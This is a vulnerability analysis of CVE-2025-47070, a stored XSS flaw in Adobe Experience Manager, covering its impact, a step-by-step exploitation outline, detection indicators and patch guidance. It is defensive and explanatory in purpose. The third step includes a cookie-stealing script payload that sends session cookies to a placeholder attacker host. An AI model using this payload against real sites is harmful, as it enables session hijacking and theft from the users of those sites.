CVE-2025-47070: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47070 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch advisory released by Adobe. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but does not require elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential phishing or defacement of AEM-hosted content. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact; availability is not affected (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47070. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0. Obtain a low-privileged authenticated account on the target AEM instance.
2. Identify vulnerable form fields: Browse the AEM authoring interface or public-facing forms to locate input fields that are not properly sanitizing or encoding user-supplied content before storing and rendering it.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
4. Payload persistence: The malicious script is stored server-side within the AEM content repository.
5. Victim triggers execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the compromised field, the stored JavaScript executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript or HTML script tags stored within AEM JCR (Java Content Repository) nodes, particularly in form field properties or page content nodes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data in query parameters.
• Logs: Browser-side console errors or AEM error logs triggered by unexpected script execution or content security policy (CSP) violations.

Adobe has released patched versions to address this vulnerability: AEM on-premise users should upgrade to 6.5.23.0 or later, and AEM Cloud Service users should update to 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding for all user-submitted content, restrict form field editing permissions to trusted administrative users, and monitor AEM content for unauthorized script injections. Upgrading to the patched release is the recommended and definitive remediation (Adobe Advisory).